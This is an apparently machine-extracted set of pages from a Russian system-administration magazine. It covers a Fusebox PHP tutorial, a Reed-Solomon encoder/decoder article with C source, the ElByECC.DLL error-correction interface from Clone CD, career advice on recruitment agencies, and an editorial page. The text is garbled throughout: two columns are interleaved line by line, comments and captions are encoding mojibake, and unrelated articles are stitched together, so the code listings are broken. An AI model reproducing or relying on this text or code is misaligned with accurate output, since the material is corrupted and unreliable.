чавшаяся с небольших модулей и развившаяся до приме- вручную, закомментировав соответствующие строки, или
нимости в средних и больших информационных системах. переименовать файл fbx_Fusebox3.0_PHP4.0.6.php или
Изначально Fusebox создавалась для платформы Coldfusion. fbx_Fusebox3.0_PHP4.1.x.php в index.php.
Сейчас существуют реализации для PHP, J2EE, MS ASP и Мы создадим крайне простое приложение. Оно будет
Lasso. Т.е. для её применения вам скорее всего не придется иметь нижнее навигационное меню для перемещения по
усаживаться за изучение нового языка программирования. страницам. На страницах мы будем выводить идентифи-
Основные цели, преследуемые Fusebox: цирующий страницу текст.
Читаемость кода; Первым делом (помните основные компоненты при-
Структурность и законченность приложений (Applications); ложения?) посмотрим на оператор-переключатель. Он
Наглядность кода программ; описан в файле fbx_Switch.php. Изменим его первые две
Упрощение проектного менеджмента; ветви («mainpage» и «Fuse-box.defaultFuseaction») на:
Защищённость кодов и проекта в целом;
Утилизация кода; switch($Fusebox["fuseaction"]) {
case "mainpage":
Создание портативных «Partapplications». case "Fusebox.defaultFuseaction":
include( "out_simple.php" );
break;
Fusebox задумывалась как модульная технология со- default: //îñòàëüíîå ñîäåðæèìîå îñòàâèì áåç èçìåíåíèé
здания веб-приложений. Пространство приложения опре-
деляется (задается) каталогом на веб-сервере. Создадим в том же каталоге (fuse_sample) скрипт
Fusebox-приложение состоит из трех основных компо- out_simple.php следующего содержания:
нентов: оператор выбора (switch), обработчик события
(fuseaction) и подключаемые модули (fuse). <?php echo"This is main page"; ?>
Оператор выбора (switch) – это своеобразный менед-
жер задач – вся работа приложения ведется через него. Замечание: никогда не ленитесь писать «<?php» при
Обращения к той или иной функции приложения (выбор) оформлении PHP-кода.
осуществляется в зависимости от переданного операто- И скрипт out_main.php, который будет отрабатывать
ру значения параметра «fuseaction». Метод передачи па- по умолчанию:
раметра определяется Fusebox автоматически. Вы може-
те передать эту переменную методом POST или в строке <html>
<body>
запроса и быть уверенным, что ваша программа получит <table width="50%" border="1" cellpaddin="3" ↵
передаваемое значение. cellspacing="0" align="center">
<tr>
Таким образом, внутри оператора выбора описывают- <td colspan="0" align="center">
ся возможные значения параметра «fuseaction» и обра- <h2>Sample application</h2>
</td>
ботка (fuseaction) этого значения приложением: запуск со- </tr>
ответствующего кода или подключение нужного модуля <tr>
<td width="100%" valign="top">
(fuse). Модуль может быть выполнимым сценарием или <?php echo $Fusebox[ "layout" ]; ?>
просто набором страниц. </td>
</tr>
Теперь посмотрим все это на конкретном примере. В <tr>
качестве платформы для реализации используем PHP. Пред- <td colspan="2">
<?php
полагается, что у читателя установлен интерпретатор PHP. Module( "index.php", array( "fuseaction"=>"bar.menu", ↵
Создайте для примера подкаталог «fuse_sample» внут- "stoplayout"=>"true" ) );
?>
ри корневой директории веб-сервера. Для пользователей </td>
веб-сервера Apache (<http://httpd.apache.org>) это по </tr>
</table>
умолчанию каталог /usr/local/apache/htdocs или /var/www </body>
(этот параметр хранится в файле настроек httpd.conf и </html>
78
образование
80
образование
В прошлых статьях этого цикла мы рассмотрели базовый Вычисление несистематических корректирующих ко-
математический аппарат, на который опираются коды Рида- дов Рида-Соломона осуществляется умножением инфор-
Соломона, и исследовали простейший кодер/декодер, спо- мационного слова на порожденный полином, в результа-
собный исправлять одиночные ошибки и работающий с дву- те чего образуется кодовое слово, полностью отличаю-
мя символами четности. Для подавляющего большинства щееся от исходного информационного слова, а потому для
задач такой корректирующей способности оказывается ка- непосредственного употребления категорически непри-
тастрофически недостаточно, и тогда приходится задумы- годное. Для приведения полученных данных в исходный
ваться о реализации более мощного кодера/декодера. вид мы должны в обязательном порядке выполнить ре-
Кодер/декодер, рассматриваемый в настоящей статье, сурсоемкую операцию декодирования, даже если данные
чрезвычайно конфигурабелен и может быть настроен на не искажены и не требуют восстановления!
работу с любым количеством символов четности, а это При систематическом кодировании, напротив, исход-
означает, что при разумной избыточности он способен ис- ное информационное слово останется неизменным, а
правлять любое мыслимое количество ошибок. Подобная корректирующие коды (часто называемые символами
универсальность не проходит даром, и конструкция тако- четности) добавляются в его конец, благодаря чему к
го декодера усложнятся более чем в сто (!) раз. Самосто- операции декодирования приходится прибегать лишь в
ятельное проектирование декодеров Рида-Соломона тре- случае действительного разрушения данных. Вычисле-
бует глубоких знаний высшей математики в целом и при- ние несистематических корректирующих кодов Рида-
роды корректирующих кодов в частности, поэтому не сму- Соломона осуществляется делением информационно-
щайтесь, если данная статья поначалу вам покажется не- го слова на порожденный полином. При этом все сим-
понятной. Это действительно сложные вещи, не допуска- волы информационного слова сдвигаются на n – k байт
ющие простого объяснения. влево, а на освободившееся место записывается 2t байт
С другой стороны, для практического использования остатка (см. рис. 1).
корректирующих кодов можно и не вникать в их сущность, Поскольку рассмотрение обоих типов кодировщиков
просто откомпилировав исходные тексты кодера/декоде- заняло бы слишком много места, сосредоточим свое вни-
ра Рида-Соломона, приведенные в данной статье. Также мание на одних лишь систематических кодерах как на
вы можете воспользоваться любой законченной библио- наиболее популярных.
текой, поставляемой сторонними разработчиками. В каче-
стве альтернативного примера в заключение этой статьи
будет кратно описан интерфейс библиотеки ElByECC.DLL,
разработанной компанией «Elaborate Bytes» и распрост-
раняемой вместе с популярным копировщиком Clone CD.
Известнейший прожигатель дисков всех времен и наро- Ðèñóíîê 1. Óñòðîéñòâî êîäîâîãî ñëîâà
дов Ahead Burning ROM имеет аналогичную библиотеку, Архитектурно кодировщик представляет собой сово-
размещенную в файле NEWTRF.DLL. купность сдвиговых регистров (shift registers), объединен-
ных посредством сумматоров и умножителей, функцио-
Легенда нирующих по правилам арифметики Галуа. Сдвиговый
Напомним читателю основные условные обозначения, ис- регистр (иначе называемый регистром сдвига) представ-
пользуемые в этой статье. Количество символов кодируе- ляет последовательность ячеек памяти, называемых раз-
мого сообщения (называемого также информационным рядами, каждый из которых содержит один элемент поля
словом) по общепринятому соглашению обозначается бук- Галуа GF(q). Содержащийся в разряде символ, покидая
вой k; полная длина кодового слова, включающего в себя этот разряд, «выстреливается» на выходную линию. Од-
кодируемые данные и символы четности, – n. Отсюда, ко- новременно с этим разряд «засасывает» символ, находя-
личество символов четности равно: n – k. За максималь- щийся на его входной линии. Замещение символов про-
ным количеством исправляемых ошибок «закреплена» бук- исходит дискретно, в строго определенные промежутки
ва t. Поскольку для исправления одной ошибки требуется времени, называемые тактами.
два символа четности, общее количество символов четно- При аппаратной реализации сдвигового регистра его
сти равно 2t. Выражение RS(n, k) описывает определен- элементы могут быть объединены как последовательно,
ную разновидность корректирующих кодов Рида-Соломо- так и параллельно. При последовательном объединении
на, оперирующую с n-символьными блоками, k-символов, пересылка одного m-разрядного символа потребуем m-
из которых представляют полезные данные, а все осталь- тактов, в то время как при параллельном она осуществ-
ные задействованы под символы четности. ляется всего за один такт.
Полином, порожденный на основе примитивного чле- Низкая эффективность программных реализаций ко-
на α, называется порожденным или сгенерированным деров Рида-Соломона объясняется тем, что разработчик
(generate) полиномом. не может осуществлять параллельное объединение эле-
ментов сдвигового регистра и вынужден работать с той
Кодировщик (encoder) шириной разрядности, которую «навязывает» архитекту-
Существует по меньшей мере два типа кодеров Рида- ра данной машины. Однако создать 4-элементный 8-бит-
Соломона: несистематические и систематические коди- ный регистр сдвига параллельного типа на процессорах
ровщики. семейства IA32 вполне реально.
82
образование
нахождения корней данного полинома, обычно реша- вокупность признаков и/или симптомов, характеризующих
ющееся лобовым перебором (алгоритм Ченя); заболевание).
определения характера ошибки, сводящееся к пост- Принятое кодовое слово v с компонентами vi = ci + ei,
роению битовой маски, вычисляемой на основе обра- где i = 0, … n – 1, представляет собой сумму кодового
щения алгоритма Форни или любого другого алгорит- слова c и вектора ошибок e. Цель декодирования состо-
ма обращения матрицы; ит в очистке кодового слова от вектора ошибки, описы-
наконец, исправления ошибочных символов путем на- ваемого полиномом синдрома и вычисляемого по фор-
ложения битовой маски на информационное слово и муле Sj = v(α j + j0 – 1), где j изменяется от 1 до 2t, а α пред-
последовательного инвертирования всех искаженных ставляет собой примитивный член «альфа», который мы
бит через операцию XOR. уже обсуждали в предыдущей статье. Да, мы снова вы-
ражаем функцию деления через умножение, поскольку де-
Следует отметить, что данная схема декодирования не ление – крайне неэффективная в смысле производитель-
единственная и, вероятно, даже не самая лучшая, но зато ности операция.
универсальная. Всего же существует около десятка раз- Блок-схема устройства, осуществляющего вычисле-
личных схем декодирования абсолютно не похожих друг ние синдрома, приведена на рис. 4. Как видно, она пред-
на друга и выбираемых в зависимости от того, какая часть ставляет собой типичный фильтр (сравните ее со схе-
декодера реализуется программно, а какая аппаратно. мой рис. 2), а потому ни в каких дополнительных пояс-
нениях не нуждается.
/*--------------------------------------------------------
*
* äåêîäåð Ðèäà-Ñîëîìîíà
* =====================
*
* Ïðîöåäóðà äåêîäèðîâàíèÿ êîäîâ Ðèäà-Ñîëîìîíà ñîñòîèò
* èç íåñêîëüêèõ øàãîâ: ñíà÷àëà ìû âû÷èñëÿåì 2t-ñèìâîëüíûé
* ñèíäðîì ïóòåì ïîñòàíîâêè alpha**i â recd(x), ãäå recd –
* ïîëó÷åííîå êîäîâîå ñëîâî, ïðåäâàðèòåëüíî ïåðåâåäåííîå
* â èíäåêñíóþ ôîðìó. Ïî ôàêòó âû÷èñëåíèÿ recd(x) ìû çàïèñûâàåì
* î÷åðåäíîé ñèìâîë ñèíäðîìà â s[i], ãäå i ïðèíèìàåò çíà÷åíèå
Ðèñóíîê 5. Ñòðóêòóðíàÿ ñõåìà àëãîðèòìà Áåðëåêýìïà-Ìåññè * îò 1 äî 2t, îñòàâëÿÿ s[0] ðàâíûì íóëþ. Çàòåì, èñïîëüçóÿ
* èòåðàòèâíûé àëãîðèòì Áåðëåêýìïà, ìû íàõîäèì ïîëèíîì ëîêàòîðà
Корни полинома * îøèáêè – elp[i]. Åñëè ñòåïåíü elp ïðåâûøàåò ñîáîé âåëè÷èíó
* t, ìû áåññèëüíû ñêîððåêòèðîâàòü âñå îøèáêè è îãðàíè÷èâàåìñÿ
Коль скоро полином локатора ошибки нам известен, его * âûâîäîì ñîîáùåíèÿ î íåóñòðàíèìîé îøèáêå, ïîñëå ÷åãî
корни определяют местоположение искаженных симво- * ñîâåðøàåì àâàðèéíûé âûõîä èç äåêîäåðà. Åñëè æå ñòåïåíü elp
* íå ïðåâûøàåò t, ìû ïîäñòàâëÿåì alpha**i, ãäå i = 1..n â elp
лов в принятом кодовом слове. Остается эти корни най- * äëÿ âû÷èñëåíèÿ êîðíåé ïîëèíîìà. Îáðàùåíèå íàéäåííûõ
ти. Чаще всего для этого используется процедура Ченя * êîðíåé äàåò íàì ïîçèöèè èñêàæåííûõ ñèìâîëîâ.
84
образование
* Åñëè êîëè÷åñòâî îïðåäåëåííûõ ïîçèöèé èñêàæåííûõ ñèìâîëîâ elp[1][i] = 0; // ïîëèíîìèàëüíàÿ ôîðìà
* ìåíüøå ñòåïåíè elp, èñêàæåíèþ ïîäâåðãëîñü áîëåå ÷åì t }
* ñèìâîëîâ è ìû íå ìîæåì âîññòàíîâèòü èõ. Âî âñåõ îñòàëüíûõ
* ñëó÷àÿõ âîññòàíîâëåíèå îðèãèíàëüíîãî ñîäåðæèìîãî èñêàæåííûõ l[0] = 0; l[1] = 0; u_lu[0] = -1; u_lu[1] = 0; u = 0;
* ñèìâîëîâ âïîëíå âîçìîæíî.  ñëó÷àå, êîãäà êîëè÷åñòâî îøèáîê
* çàâåäîìî âåëèêî, äëÿ èõ èñïðàâëåíèÿ äåêîäèðóåìûå ñèìâîëû do
* ïðîõîäÿò ñêâîçü äåêîäåð áåç êàêèõ-ëèáî èçìåíåíèé. {
* u++;
* íà îñíîâå èñõîäíûõ òåêñòîâ if (d[u] == -1)
* Simon Rockliff, îò 26.06.1991, {
* ðàñïðîñòðàíÿåìûõ ïî ëèöåíçèè GNU l[u + 1] = l[u];
–––––––––––––––––––––––––––––––––––––––––––––––––––––––––*/ for (i = 0; i <= l[u]; i++)
decode_rs() {
{ elp[u+1][i] = elp[u][i];
int i, j, u, q; elp[u][i] = index_of ↵
int s[n-k+1]; // ïîëèíîì ñèíäðîìà îøèáêè [elp[u][i]];
int elp[n – k + 2][n - k]; // ïîëèíîì ëîêàòîðà îøèáêè }
// ëÿìáäà }
int d[n-k+2]; else
int l[n-k+2]; {
int u_lu[n-k+2], // ïîèñê ñëîâ ñ íàèáîëüøèì u_lu[q],
// òàêèõ ÷òî d[q]!=0
int count=0, syn_error=0, root[t], loc[t], z[t+1], ↵ q = u - 1;
err[n], reg[t+1]; while ((d[q] == -1) && (q>0)) q--;
// ïåðåâîäèì ïîëó÷åííîå êîäîâîå ñëîâî â èíäåêñíóþ ôîðìó // íàéäåí ïåðâûé íåíóëåâîé d[q]
// äëÿ óïðîùåíèÿ âû÷èñëåíèé if (q > 0)
for (i = 0; i < n; i++) recd[i] = index_of[recd[i]]; {
j=q ;
// âû÷èñëÿåì ñèíäðîì do
//----------------------------------------------------- {
for (i = 1; i <= n - k; i++) j-- ;
{ if ((d[j]!=-1) && ↵
s[i] = 0; // èíèöèàëèçàöèÿ s-ðåãèñòðà (u_lu[q]<u_lu[j]))
// (íà åãî âõîä ïî óìîë÷àíèþ q = j ;
// ïîñòóïàåò íîëü) } while (j>0);
};
// âûïîëíÿåì s[i] += recd[j]*ij
// ò.å. áåðåì î÷åðåäíîé ñèìâîë äåêîäèðóåìûõ äàííûõ, // êàê òîëüêî ìû íàéäåì q, òàêîé ÷òî d[u]!=0
// óìíîæàåì åãî íà ïîðÿäêîâûé íîìåð äàííîãî // è u_lu[q] åñòü ìàêñèìóì
// ñèìâîëà, óìíîæåííûé íà íîìåð î÷åðåäíîãî îáîðîòà // çàïèøåì ñòåïåíü íîâîãî elp ïîëèíîìà
// è ñêëàäûâàåì ïîëó÷åííûé ðåçóëüòàò ñ ñîäåðæèìûì if (l[u] > l[q]+u-q) l[u+1] = l[u]; else ↵
// s-ðåãèñòðà ïî ôàêòó èñ÷åðïàíèÿ âñåõ äåêîäèðóåìûõ l[u+1] = l[q]+u-q;
// ñèìâîë, ìû ïîâòîðÿåì âåñü öèêë âû÷èñëåíèé îïÿòü –
// ïî îäíîìó ðàçó äëÿ êàæäîãî ñèìâîëà ÷åòíîñòè
for (j=0; j<n; j++) if (recd[j]!=-1) ↵ // ôîðìèðóåì íîâûé elp(x)
s[i]^= alpha_to[(recd[j]+i*j)%n]; for (i = 0; i < n - k; i++) elp[u+1][i] = 0;
for (i = 0; i <= l[q]; i++)
if (s[i]!=0) syn_error=1; // åñëè ñèíäðîì if (elp[q][i]!=-1)
// íå ðàâåí íóëþ, elp[u+1][i+u-q]=alpha_to ↵
// âçâîäèì ôëàã [(d[u]+n-d[q]+elp[q][i])%n];
// îøèáêè
for (i=0; i<=l[u]; i++)
// ïðåîáðàçóåì ñèíäðîì èç ïîëèíîìèàëüíîé ôîðìû {
// â èíäåêñíóþ elp[u+1][i] ^= elp[u][i];
s[i] = index_of[s[i]];
} // ïðåîáðàçóåì ñòàðûé elp
// â èíäåêñíóþ ôîðìó
// êîððåêöèÿ îøèáîê elp[u][i] = index_of[elp[u][i]];
//----------------------------------------------------- }
if (syn_error) // åñëè åñòü îøèáêè, ïûòàåìñÿ }
// èõ ñêîððåêòèðîâàòü u_lu[u+1] = u-l[u+1];
{
// ôîðìèðóåì (u + 1) íåâÿçêó
// âû÷èñëåíèå ïîëèíîìà ëîêàòîðà ëÿìáäà //----------------------------------------------
//---------------------------------------------- if (u < n-k) // íà ïîñëåäíåé èòåðàöèè ðàñõîæäåíèå
// âû÷èñëÿåì ïîëèíîì ëîêàòîðà îøèáêè ÷åðåç { // íå áûëî îáíàðóæåíî
// èòåðàòèâíûé àëãîðèòì Áåðëåêýìïà. Ñëåäóÿ
// òåðìèíîëîãèè Lin and Costello (ñì. "Error if (s[u + 1]!=-1) d[u+1] = alpha_to[s[u+1]]; ↵
// Control Coding: Fundamentals and Applications" else d[u + 1] = 0;
// Prentice Hall 1983 ISBN 013283796) d[u]
// ïðåäñòàâëÿåò ñîáîé µ («ìþ»), âûðàæàþùóþ for (i = 1; i <= l[u + 1]; i++)
// ðàñõîæäåíèå (discrepancy), ãäå u = µ + 1 è µ if ((s[u + 1 - i] != -1) && ↵
// åñòü íîìåð øàãà èç äèàïàçîíà îò –1 äî 2t. (elp[u + 1][i]!=0))
// Ó Áëåéõóòà òà æå ñàìàÿ âåëè÷èíà îáîçíà÷àåòñÿ d[u+1] ^= alpha_to[(s[u+1-i] ↵
// ∆(x) («äåëüòà») è íàçûâàåòñÿ íåâÿçêîé. +index_of[elp[u+1][i]])%n];
// l[u] ïðåäñòàâëÿåò ñîáîé ñòåïåíü elp äëÿ äàííîãî
// øàãà èòåðàöèè, u_l[u] ïðåäñòàâëÿåò ñîáîé // ïåðåâîäèì d[u+1] â èíäåêñíóþ ôîðìó
// ðàçíèöó ìåæäó íîìåðîì øàãà è ñòåïåíüþ elp, d[u+1] = index_of[d[u+1]];
// èíèöèàëèçèðóåì ýëåìåíòû òàáëèöû }
d[0] = 0; // èíäåêñíàÿ ôîðìà } while ((u < n-k) && (l[u+1]<=t));
d[1] = s[1]; // èíäåêñíàÿ ôîðìà
elp[0][0] = 0; // èíäåêñíàÿ ôîðìà // ðàñ÷åò ëîêàòîðà çàâåðøåí
elp[1][0] = 1; // ïîëèíîìèàëüíàÿ ôîðìà //-----------------------------------------------------
u++ ;
for (i = 1; i < n - k; i++) if (l[u] <= t)
{ { // êîððåêöèÿ îøèáîê âîçìîæíà
elp[0][i] = -1; // èíäåêñíàÿ ôîðìà
86
образование
Ниже приводится описание важнейших функций биб- userdata_src – указатель на 2048-байтовый блок пользо-
лиотеки ElByECC.DLL, входящей в состав известного ко- вательских данных, для которых необходимо выполнить
пировщика защищенных лазерных дисков Clone CD, ус- расчет корректирующих кодов. Сами пользовательские
ловно-бесплатную копию которого можно скачать c cайта: данные в процессе выполнения функции остаются не-
http://www.elby.ch/. изменными и автоматически копируются в буфер це-
Сам Clone CD проработает всего лишь 21 день, а за- левого сектора, где к ним добавляется 104 + 172 байт
тем потребует регистрации, однако на продолжительность четности и 4 байта контрольной суммы.
использования библиотеки ElByECC.DLL не наложено header_src – указатель на 4-байтовый блок, содержа-
никаких ограничений. щий заголовок сектора. Первые три байта занимает
Моими усилиями был создан h-файл, содержащий абсолютный адрес, записанный в BCD-форме, а чет-
прототипы основных функций библиотеки ElByECC.DLL, вертый байт отвечает за тип сектора, которому необ-
специальная редакция которого была любезно предос- ходимо присвоить значение 1, соответствующий ре-
тавлена для журнала «Системный администратор». жиму «корректирующие коды задействованы».
Несмотря на то, что библиотека ElByECC.DLL ориен- raw_sector_mode1_dst – указатель на 2352-байтовый
тирована на работу с секторами лазерных дисков, она блок, в который будет записан сгенерированный сек-
может быть приспособлена и для других целей, например, тор, содержащий 2048-байт пользовательских данных
построения отказоустойчивых дисковых массивов, о ко- и 104+172 байт корректирующих кодов вместе с 4 бай-
торых говорилось в предыдущей статье. тами контрольной суммы и представленный следую-
Краткое описание основных функций библиотеки при- щей структурой:
водится ниже.
Ëèñòèíã 5. Ñòðóêòóðà ñûðîãî ñåêòîðà
Подключение библиотеки ElByECC.DLL struct RAW_SECTOR_MODE1
к своей программе {
BYTE SYNC[12]; // ñèíõðîãðóïïà
Существуют по меньшей мере два способа подключе- BYTE ADDR[3]; // àáñîëþòíûé àäðåñ ñåêòîðà
ния динамических библиотек к вашим программам. При BYTE MODE; // òèï ñåêòîðà
BYTE USER_DATA[2048]; // ïîëüçîâàòåëüñêèå äàííûå
динамической компоновке адреса требуемых функций BYTE EDC[4]; // êîíòðîëüíàÿ ñóììà
определяются посредством вызова GetProcAddress, BYTE ZERO[8]; // íóëè (íå èñïîëüçóåòñÿ)
BYTE P[172]; // P-áàéòû ÷åòíîñòè
причем сама библиотека ElByECC.DLL должна быть BYTE Q[104]; // Q-áàéòû ÷åòíîñòè
предварительно загружена через LoadLibrary. Это мо- };
жет выглядеть, например, так (обработка ошибок для
простоты опущена): При успешном завершении функция возвращает не-
нулевое значение и ноль в противном случае.
Ëèñòèíã 3. Äèíàìè÷åñêàÿ çàãðóçêà áèáëèîòåêè ElByECC.DLL
HANDLE h; CheckSector
int (__cdecl *CheckECCAndEDC_Mode1) (char *userdata, ↵ Функция CheckSector осуществляет проверку целостнос-
char *header, char *sector);
ти сектора по контрольной сумме и при необходимости
h=LoadLibrary("ElbyECC.dll"); выполняет его восстановление по избыточным кодам
CheckECCAndEDC_Mode1 = GetProcAddress(h, "CheckECCAndEDC_Mode1");
Рида-Соломона.
Статическая компоновка предполагает наличие спе-
циального lib-файла, который может быть автоматически Ëèñòèíã 6. Ïðîòîòèï ôóíêöèè CheckSector
сгенерирован утилитой implib из пакета Borland C++ лю- // óêàçàòåëü íà ñåêòîðíûé áóôåð
бой подходящей версии, представляющую собой утилиту CheckSector(struct RAW_SECTOR *sector,
int DO); // òîëüêî ïðîâåðêà/ëå÷åíèå
командной строки, вызываемую так:
sector – указатель на 2352-байтовый блок данных, содер-
implib.exe -a ElByECC.lib ElByECC.lib жащий подопытный сектор. Лечение сектора осуществ-
ляется «вживую», т.е. непосредственно по месту возник-
новения ошибки. Если количество разрушенных байт
GenECCAndEDC_Mode1 превышают корректирующие способности кодов Рида-
Функция GenECCAndEDC_Mode1 осуществляет генера- Соломона, исходные данные остаются неизменными;
цию корректирующих кодов на основе 2048-байтового DO – флаг, нулевое значение которого указывает на
блока пользовательских данных и имеет следующий запрет модификации сектора. Другими словами, со-
прототип: ответствует режиму TEST ONLY. Ненулевое значение
разрешает восстановление данных, если они действи-
Ëèñòèíã 4. Ïðîòîòèï ôóíêöèè GenECCAndEDC_Mode1 тельно подверглись разрушению.
// óêàçàòåëü íà ìàññèâ èç 2048 áàéò
При успешном завершении функция возвращает не-
GenECCAndEDC_Mode1(char *userdata_src,
нулевое значение и ноль, если сектор содержит ошибку
// óêàçàòåëü íà çàãîëîâîê (в режиме TEST ONLY) или если данные восстановить не
char *header_src,
struct RAW_SECTOR_MODE1 *raw_sector_mode1_dst) удалось (при вызове функции в режиме лечения). Для
88
как это было
КТО ПРЕДУПРЕЖДЕН –
ТОТ ВООРУЖЕН
МИХАИЛ ТОРЧИНСКИЙ
90
полезные советы
Летом этого года состоялось достаточно интересное и, И наконец, в том случае, если работодатель остано-
на мой взгляд, нетривиальное событие. Прошел пер- вил на вас свой выбор, очень удобно вести переговоры
вый Семинар системных администраторов и инжене- о компенсационном пакете через посредника, в лице
ров. Его организаторы пригласили меня выступить с рекрутера. Обсуждение вопросов, связанных с деньга-
докладом на тему «Роль кадровых агентств в карьере ми, всегда сопровождается определенным дискомфор-
IT-специалиста». том: попросишь больше – сочтут, что тебя интересует
Я с радостью согласился, т.к. в последнее время все только зарплата, мало – могут подумать, что ты не уве-
чаще сталкиваюсь с тем, что многие специалисты в об- рен в себе. В такой ситуации рекрутер берет на себя
ласти информационных технологий, обладающие пре- обсуждение требований кандидата и возможностей ра-
красными профессиональными данными, хорошо обра- ботодателя. В результате при выходе на работу канди-
зованные и потенциально интересные на рынке IT, с тру- дат четко знает, на какие деньги он выходит, и нет не-
дом находят себе работу. Видимо, настало время по- обходимости лично обсуждать для себя более интерес-
пытаться понять, что же необходимо предпринять, что- ные условия.
бы грамотно выстроить свою карьеру, используя такой Но есть и обратная сторона медали в работе с КА.
ресурс, как кадровые агентства (КА)? Рынок услуг КА очень конкурентен, и, как правило, за-
Рынок IT после некоторого затишья продолжает свой казчик сотрудничает одновременно с несколькими аген-
рост. Появляются новые компании, происходят слияния тствами, рассматривая кандидатов от всех сразу. В та-
и поглощения, растет требовательность заказчиков и ком случае вероятность, что другое агентство, в кото-
сложность реализуемых проектов. Все это положитель- ром вы не проходите как кандидат, представит более
но сказывается на рынке труда – открываются новые профессионального, компетентного, опытного кандида-
вакансии, растет уровень заработной платы. та, весьма велика. Также нужно учитывать, что даже
Все больше и больше компаний выбирают работу с «ваше» КА не может ограничиться только вашей кан-
кадровым агентством как эффективный способ найти дидатурой. Заказчик требует выбора, и, как правило,
нужных профессионалов. И чтобы стать тем «избран- на одну вакансию нужно представить 5-6 человек. Так
ным» среди множества других претендентов на открыв- что в любом случае кандидату нужно проходить кон-
шиеся вакансии, необходимо научиться работать с кад- курс. И его исход зачастую трудно предугадать.
ровым агентством. Именно отсутствие навыков обще- Чаще всего случается так, что кандидат, настроен-
ния с представителями агентства очень часто стано- ный на поиск работы с помощью рекрутеров, находит
вится той помехой, которая мешает дальнейшему ка- интернет-сайт, на котором имеется список КА, и дела-
рьерному росту. ет рассылку своего резюме по большинству найденных.
Безусловно, при работе с КА существуют и положи- В данном случае он руководствуется соображением:
тельные, и отрицательные стороны. Несомненным плю- «чем больше будет рассылка, тем больше предложе-
сом является возможность получить на рассмотрение ний о работе я получу». Однако далеко не всегда такая
несколько интересных вакансий и различных работо- тактика дает положительные результаты. На рынке ра-
дателей. Более того, многие HR-службы работодателей ботают сотни КА, и нужно потратить некоторое время
перестают рассматривать кандидатов, которые «при- на то, чтобы разобраться, какие из них действительно
шли» не от агентства, «с улицы» или по знакомству. оказывают качественный сервис своим заказчикам и
Таким образом, у кандидата от агентства создается нео- соискателям, с которыми они работают. Критериям, ко-
споримое преимущество по сравнению с кандидатами, торым можно доверять при оценке рекрутинговых ком-
которые решили самостоятельно заняться рассылкой паний, являются их известность на рынке и наличие оп-
своего резюме и не имеют поддержки со стороны рек- ределенной специализации. Известные компании, как
рутера. И преимущество не только в этом. правило, работают на российском рынке достаточно
Агентство, долго работающее со своим заказчиком, давно и уже успели хорошо зарекомендовать себя. Их
хорошо знает специфику компании, людей, которые отличает также от большинства других наличие извес-
принимают в ней решения, их предпочтения и вкусы. тных brand-name-клиентов. Это очень важное отличие,
Всей этой информацией он может поделиться с канди- т.к. крупные корпоративные клиенты имеют вполне
датом, рассказать подробности о компании, о существу- сформировавшиеся и очень жесткие критерии выбора
ющем в ней стиле управления, нюансы прохождения ин- своих поставщиков, они дорожат своей репутацией и
тервью с непосредственным руководителем и т. п. «Кто тщательно выбирают себе деловых партнеров. Узнать,
предупрежден – тот вооружен» – это высказывание как с какими клиентами сотрудничает интересующее вас
нельзя лучше подходит для кандидата, настроенного на КА, как правило, можно на сайте рекрутеров.
получение места в интересующей его компании. Услуги КА должны быть для соискателей абсолютно
С помощью КА арсенал кандидата пополняется не бесплатными. До сих пор попадаются КА, которые пред-
только информацией о работодателе и рекомендация- почитают зарабатывать деньги на соискателях, неже-
ми, как с ним вести переговоры, но и грамотно состав- ли оказывать качественный, профессиональный сервис
ленным резюме и презентацией кандидата рекрутером. своим клиентам. Если вы ненароком попали в такое КА,
Если рекрутер чувствует потенциал в кандидате, он сде- сразу прощайтесь, если услышите о просьбе оплатить
лает все, чтобы убедить работодателя встретиться с какую-либо услугу. Если клиент, обратившийся в такое
претендентом. агентство, считает, что его будущий сотрудник сам дол-
92
полезные советы
Не стоит забывать и о таких вещах, как внешний вид. каково впечатление клиента о кандидате. Вариантов мо-
Даже если на новом месте работы от вас не потребует- жет быть три: «кандидат понравился», «не понравился»,
ся соблюдать dress-code, тем не менее на официаль- «кандидат понравился, но будем смотреть еще». Их всех
ную встречу с работодателем необходимо появиться трех вариантов только «не понравился» означает, что на
одетым по-деловому, опрятно и без излишеств. Это этот раз кандидату не повезло и дальнейшего обсужде-
может показаться странным, но некоторые кандидаты ния позиции не будет. Далеко не всегда консультант смо-
пренебрегают правилами личной гигиены, что недопу- жет совершенно правдиво объяснить, почему клиент от-
стимо при встрече с работодателем, да и в повседнев- казывается рассматривать кандидатуры в дальнейшем.
ной жизни воспринимается, мягко говоря, не очень. Т.к. в большинстве случаев отказ происходит по причи-
Надеюсь, что среди потенциальных кандидатов, чита- нам личностного характера, не всегда удобно и этично
ющих эту статью, таких нет. говорить об этом кандидату. Если же речь идет о недо-
Очень важно соблюсти пунктуальность. Опоздания статочных профессиональных качествах – скорее всего
на такие встречи недопустимы. Наилучший вариант – кандидат получит ответ, что конкретно не устраивает ра-
приехать за 10 минут до назначенного времени. Это по- ботодателя. Конечно, отказ – это всегда неприятно и вос-
зволит вам «отдышаться», освоиться в новой обстанов- принимается болезненно. Но не стоит раздражаться и
ке, еще раз подготовиться к интервью. выказывать недовольство работой КА. Не исключено, что
После того как прошла встреча у работодателя, от в другое время у КА появится новая вакансия, которая
вас будут ждать звонка консультанты агентства. Им не- вас заинтересует, и вы снова сможете сделать попытку.
обходимо узнать, как вы провели переговоры, в какой В том же случае, если вы произвели благоприятное
тональности шла беседа, какие договоренности и пред- впечатление на работодателя, ждите нескольких пос-
ложения были озвучены. Вы также можете поинтересо- ледующих встреч. Не стоит думать, что это формаль-
ваться, какое впечатление вы произвели на работодате- ность, так что на каждой их этих встреч вы должны быть
ля. Договоритесь, когда вы должны выходить «на связь» все так же собранны и подготовлены. Случается, что
в следующий раз, как будет вестись работа дальше. даже на повторных встречах делается отказ. Тем бо-
После того как прошла встреча между кандидатом и лее что кандидатов на позицию несколько и конкурс
клиентом агентства, консультанту необходимо выяснить, продолжается.
94
подписка
Единый
подписной
индекс:
81655
по каталогу
агентства
«Роспечать»
Рады видеть
Вас нашими
читателями!
РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Научно-технические консультанты Безумный чертенок таки на последний. Что делать в та-
Дмитрий Горяинов Почти каждый день мы слышим о том, ком случае? Существует множество
Руслан Иванов что появился новый однодискетный/ различных утилит, так или иначе
Игорь Гарасюк LiveCD/«полновесный» дистрибутив предназначенных для улучшения за-
Linux, а вот аналогичную новость про щиты Linux-системы. В данной статье
